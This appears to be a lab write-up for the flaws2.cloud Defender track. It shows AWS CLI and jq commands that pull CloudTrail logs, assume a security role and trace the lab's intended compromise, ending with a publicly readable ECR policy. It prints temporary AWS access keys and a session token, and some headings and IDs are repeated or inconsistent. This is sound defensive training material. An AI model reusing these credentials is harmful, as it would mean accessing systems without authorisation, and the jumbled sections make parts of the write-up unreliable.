download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_7J9NEIxrjJsrLXSd.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_7J9NEIxrjJsrLXSd.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jJW5HfNtz7KOnvcP.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jJW5HfNtz7KOnvcP.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jQajCuiobojD8I4y.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_jQajCuiobojD8I4y.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_rp9i9zxR2Vcpqfnz.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_rp9i9zxR2Vcpqfnz.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_83VTWZ8Z0kiEC7Lq.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_83VTWZ8Z0kiEC7Lq.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_A1lhv3sWzzRIBFVK.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2310Z_A1lhv3sWzzRIBFVK.json.gz
download: s3://flaws2-logs/AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_zKLMhON7EpHala9u.json.gz to AWSLogs/653711331788/CloudTrail/us-east-1/2018/11/28/653711331788_CloudTrail_us-east-1_20181128T2305Z_zKLMhON7EpHala9u.json.gz
```

# APPENDIX

## Challenge 2: Defender Objective 2

```
(user1@kali)-[~/aws]
$ ls
config  credentials

(user1@kali)-[~/aws]
$ cat config
[profile security]
region = us-east-1
output = json
```

```
(user1@kali)-[~/aws]
$ cat config
[profile security]
region=us-east-1
output=json

[profile target_security]
region = us-east-1
output = json
source_profile = security
role_arn = arn:aws:iam::653711331788:role/security
```

```
(user1@kali)-[~/aws]
$ aws --profile target_security sts get-caller-identity
{
  "UserId": "AROAIKRY5GULQLYOGRMNS:botocore-session-1714152190",
  "Account": "653711331788",
  "Arn": "arn:aws:sts::653711331788:assumed-role/security/botocore-session-1714152190"
}
```

# APPENDIX

## Challenge 2: Defender Objective 3

```
(user1@kali)~[~/aws]
$ ls
AWSLogs cli config credentials Credentials
(user1@kali)~[~/aws]
$ find . -type f -name "*.gz" -exec gunzip {} \;
```

• Objective 6: Use Athena  
Your IAM credentials to the Security account  
• Login: <https://flaws2-security>

```
(user1@kali)~[~/aws]
$ find . -type f -name "*.json" -exec cat {} \; | jq '.'
{
  "Credentials": {
    "AccessKeyId": "ASIAZQNB3KHGD3CBC177",
    "SecretAccessKey": "ffExtIf4WNH/3t1pk0WE3B4Uz/chdDPNheXDYus",
    "SessionToken": "IQoJb3JpZ2l1UXZyJEhoacXVzLWVhc3QtMSJHMEUCIAhu/A6guxva5Ywzn8Rtr30M+Y7cE49Ev/b37XJyH9A1EAIQb7Q+V9jprtnyBANwrcSg/kdolyYrbyPPNdSQ30SwqsQ1lw////////ARADGgw2NTM3MTEzMzE3ODg1D3/y1I37vxpT128j/yqFASWY6ctHeCgCx7Eub1GospC16w6b0jvHlth43J2f9buqgrs4gWSPRjMB7TalyoF0924RAo2ZG0R/qWkoB+JmFA+78IAHL5wc+TTqETL3oT+pw2gc13zHDFMS2VLwPMj0B04Tcy6Jh25SHQAGG7Nk3Juk1sdrj108+uFkMA239D5Zmdor5fy0JfAP991gM3Kpexx/8v5vATL2hvepl1tc0WTeECj+1uArcciumqhK2d1Yn+saUkoJ2daBQ/SM1hWde1fWATPx2Ie7bB6c7e5W717519/9+12McwC0RV2Ugmw10fV9VG9XAY3gong2kyaoV3VfSdLVc+HvyT07xaxxBjQdA5jVCZ+oobULy39FEa+ckhZ15/d8boB3DqpMSF84fyRN3b8gVxC23cE82zyyRh93m/UPXUN+qUXDgy03daBmet0BIqPB7Nm2333MXfL1UW2Gwy15J1RK3Toq1lHVTk083ivLWvAqre0wNEFLFXDXK2UJ2Zmwqhs2VF+2L0KA1foKH0v0Au9UTCagstStjthayuW5ILLTFA0TQ+",
    "Expiration": "2024-04-26T18:23:07+08:00"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AROA1KRY3GULQLY0GRMNS:botocore-session-1714152190",
    "Arn": "arn:aws:sts::653711331788:assumed-role/security/botocore-session-1714152190"
  },
  "ResponseMetadata": {
    "RequestId": "70bc6bb3-fce3-4e60-b0bf-05686a07a78c",
    "HTTPStatusCode": 200,
    "HTTPHeaders": {
      "x-amzn-requestid": "70bc6bb3-fce3-4e60-b0bf-05686a07a78c",
      "content-type": "text/xml",
      "content-length": "1493",
      "date": "Fri, 26 Apr 2024 17:23:07 GMT"
    },
    "RetryAttempts": 0
  },
  "Records": [
    {
      "eventVersion": "1.05",
      "userIdentity": {
        "type": "AWSAccount",

```

```
(user1@kali)~[~/aws]
$ jq '.Records[] | .eventName'
^C
(user1@kali)~[~/aws]
$ jq -r '.Records[] | [.eventTime, .sourceIPAddress, .userIdentity.arn, .userIdentity.accountId, .userIdentity.type, .eventName] | @tsv' | sort
```

# APPENDIX

## Challenge 2: Defender Objective 4

```
(user1@kali)~[~/.aws]
$ find ~/.aws/AWSLogs -type f -exec cat {} \; | jq '.Records[] | select(.eventName == "ListBuckets")'
```

**Challenge 1: Download CloudTrail logs**

awscloudtrail will walk you through key steps for using security events on AWS. The objectives are:

- Objective 1: Download CloudTrail logs
- Objective 2: Access the Target account
- Objective 3: Identify credential theft
- Objective 4: Identify the public resource
- Objective 5: Identify the public resource
- Objective 6: Use Athena

**Challenge 2: Access the Target account**

The credentials shown give you access to the Security account, which is the "Security" account in the Target account. You also have access to an IAM policy, named flow2, in the Security account that contains the CloudTrail logs recorded during a successful compromise from the Attacker track.

```
{
  "eventVersion": "1.05",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAJQMBDNUMIKLZKMF64",
    "arn": "arn:aws:sts::653711331788:assumed-role/level3/d190d14a-2404-45d6-9113-4eda22d7f2c7",
    "accountId": "653711331788",
    "accessKeyId": "ASTIAZQNB3KHGNXNB5J5",
    "sessionContext": {
      "attributes": {
        "mfaAuthenticated": "false",
        "creationDate": "2018-11-20T22:31:59Z"
      },
      "sessionIssuer": {
        "type": "Role",
        "principalId": "AROAJQMBDNUMIKLZKMF64",
        "arn": "arn:aws:iam::653711331788:role/level3",
        "accountId": "653711331788",
        "userName": "level3"
      }
    },
    "eventTime": "2018-11-20T23:09:28Z",
    "eventSource": "s3.amazonaws.com",
    "eventName": "ListBuckets",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "104.102.221.250",
    "userAgent": "[aws-cli/1.16.19 Python/2.7.10 Darwin/17.7.0 boto3/1.12.9]",
    "requestParameters": null,
    "responseElements": null,
    "requestID": "469859389338827F",
    "eventID": "65e111a0-83ae-4ba8-9673-16291a804873",
    "eventType": "AwsApiCall",
    "recipientAccountId": "653711331788"
  }
}
```

```
(user1@kali)~[~/.aws]
$ aws --profile target_security iam get-role --role-name level3
```

**Challenge 2: Access the Target account**

**Challenge 3: Identify credential theft**

**Challenge 4: Identify the public resource**

**Challenge 5: Identify the public resource**

**Challenge 6: Use Athena**

The credentials shown give you access to the Security account, which is the "Security" account in the Target account. You also have access to an IAM policy, named flow2, in the Security account that contains the CloudTrail logs recorded during a successful compromise from the Attacker track.

```
{
  "Role": {
    "Path": "/",
    "RoleName": "level3",
    "RoleId": "AROAJQMBDNUMIKLZKMF64",
    "Arn": "arn:aws:iam::653711331788:role/level3",
    "CreateDate": "2018-11-23T17:55:27+00:00",
    "AssumeRolePolicyDocument": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "",
          "Effect": "Allow",
          "Principal": {
            "Service": "ecs-tasks.amazonaws.com"
          },
          "Action": "sts:AssumeRole"
        }
      ]
    },
    "Description": "Allows ECS tasks to call AWS services on your behalf.",
    "MaxSessionDuration": 3600,
    "RoleLastUsed": {
      "LastUsedDate": "2024-04-23T18:33:42+00:00",
      "Region": "us-east-1"
    }
  }
}
```

# APPENDIX

## Challenge 2: Defender Objective 5

```
(user1@kali)-[~/aws]
$ aws --profile target_security ecr get-repository-policy --repository-name level2
{
  "registryId": "653711331788",
  "repositoryName": "level2",
  "policyText": "{\n  \"Version\": \"2008-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AccessControl\",\n      \"Effect\": \"Allow\",\n      \"Principal\": \"*\",\n      \"Action\": [\n        \"ecr:GetDownloadUrlForLayer\",\n        \"ecr:BatchGetImage\",\n        \"ecr:BatchCheckLayerAvailability\",\n        \"ecr:ListImages\",\n        \"ecr:DescribeImages\"\n      ]\n    }\n  ]\n}"
}
```

```
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "AccessControl",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:GetDownloadUrlForLayer",
        "ecr:BatchGetImage",
        "ecr:BatchCheckLayerAvailability",
        "ecr:ListImages",
        "ecr:DescribeImages"
      ]
    }
  ]
}
```

# REFERENCES

1. <http://flaws.cloud>
2. <http://flaws2.cloud>
3. [www.google.com](http://www.google.com)
4. <https://sonraisecurity.com/blog/aws-s3-best-practice/>